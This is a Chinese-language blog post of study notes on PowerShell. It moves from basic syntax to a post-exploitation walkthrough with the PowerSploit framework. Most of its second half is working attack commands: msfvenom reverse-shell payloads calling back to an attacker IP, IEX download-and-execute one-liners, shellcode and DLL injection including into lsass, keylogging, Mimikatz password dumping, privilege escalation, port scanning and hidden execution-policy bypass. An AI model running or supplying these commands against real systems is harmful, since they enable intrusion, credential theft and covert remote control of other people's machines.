win7以后,powershell默认安装在windows上,这是一个非常强大的渗透测试利器
主要用于后渗透的过程中,扩大攻击面,原来没有怎么接触过这玩意,最近发现了几款ps渗透框架才意识到了powershell的强大。所以,还是准备好好学学。从零开始的那种。
直接通过启动栏输入powershell
就好
主题
Windows PowerShell 帮助系统
获取当前会话中的所有别名
获取别名之后你会发现,有很多和linux相通的命令 cd ls tee .....
Get-Command -CommandType cmdlet
命令可以获取其命令集start-process notepad.exe
获取指定的进程
类似cat
类似pwd
cp
mv
· >:将输出保存到指定文件中(用法:Get-Process>output.txt)
· >>:将脚本的输出追加到指定文件中(用法:test.ps1>>output.txt)
· 2>:将错误输出到指定文件中(Get-Porcess none 2>Errors.txt)
· 2>>:将错误追加到指定文件中(Get-Process none 2> logs-Errors.txt)
· -eq:等于运算符(用法:$var1 –eq $var2,返回真或假)
· -gt:大于运算符(用法:$var1 –gt $var2,返回真或假)
· -match:匹配运算符,搜索字符串是否在文中出现(用法:$Text –match $string返回真或假)
· -replace:替换字符串(用法:$Text –replace 被替换的字符,替换的字符,返回真或假)
· -in:测试一个字符或数字是否出现在文本中或列表中,声明列表直接使用()
$Array = value1, value2, value3
If($var {comparison_statement} $var2) { What_To_Do)}
Else {what_to_do_if_not}
· While () {}
· Do {} While()
· For(;;;) {}
https://github.com/mattifestation/PowerSploit.git
PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员
有很多可用的模块,源码直接在git上可以下载到,以下就简单介绍一下使用方法。
在目标主机执行代码
向指定进程中注入我们的shellcode
配置可执行代码:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1234 -f powershell -o /shell.txt
# msfconsole 监听刚才的payload配置
靶机下载代码,并执行
PS C:\> Import-Module C:\PowerSploit\CodeExecution\Invoke-Shellcode.ps1
PS C:\> IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/shell.txt')
PS C:\> Invoke-Shellcode -Shellcode @($buf) -ProcessId 6284
将自己的dll注入到目标机器的指定进程中,
administrator或者system权限操作
配置dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f dll -o /root/Desktop/shell.dll
加载代码,执行
Import-Module C:\PowerSploit\CodeExecution\Invoke-DllInjection.ps1
Invoke-DllInjection -ProcessID 5560 -Dll shell.dll
远程注入dll
Import-Module C:\PowerSploit\CodeExecution\Invoke-ReflectivePEInjection.ps1
$PEBytes = [IO.File]::ReadAllBytes('c:\shell.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName 2008R2DC
用来信息搜集的
Import-Module C:\PowerSploit\Exfiltration\Get-TimedScreenshot.ps1
Get-TimedScreenshot -Path c:\temp\ -Interval 5 -EndTime 11:23 每5秒截一次图,到11:23时结束
meterpreter再开的cmd[shell]
Import-Module C:\PowerSploit\Exfiltration\Get-Keystrokes.ps1
Get-Keystrokes -LogPath C:\temp\key.log -Timeout 2 记录2分钟
Import-Module C:\PowerSploit\Exfiltration\Get-VaultCredential.ps1
Get-VaultCredential
Import-Module C:\PowerSploit\Exfiltration\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit" 抓取系统本地的用户密码明文及hash
用来提权的模块
Import-Module C:\PowerSploit\Privesc\Get-System.ps1
Get-System
要检查的内容比较多,如,可执行文件权限,服务运行权限,检查可被劫持的dll位置
Import-Module C:\PowerSploit\Privesc\PowerUp.ps1
Invoke-AllChecks | Out-File pri_info.txt
端口扫描
Import-Module C:\PowerSploit\Recon\Invoke-Portscan.ps1
Invoke-Portscan -Hosts 192.168.3.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt
dns反向解析
Import-Module C:\PowerSploit\Recon\Invoke-ReverseDnsLookup.ps1
Invoke-ReverseDnsLookup '192.168.3.20-192.168.3.24'
在执行powershell脚本时有些时候会报错,有如下绕过的方法
本地权限绕过
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过
PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1
远程下载绕过
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds"
上面就是学习的powershell的一些笔记,这些笔记学的也比较粗浅,归根接地这都是要运到实战上的,大牛勿喷,以后继续努力。
https://klionsec.github.io/2016/10/06/powersploit/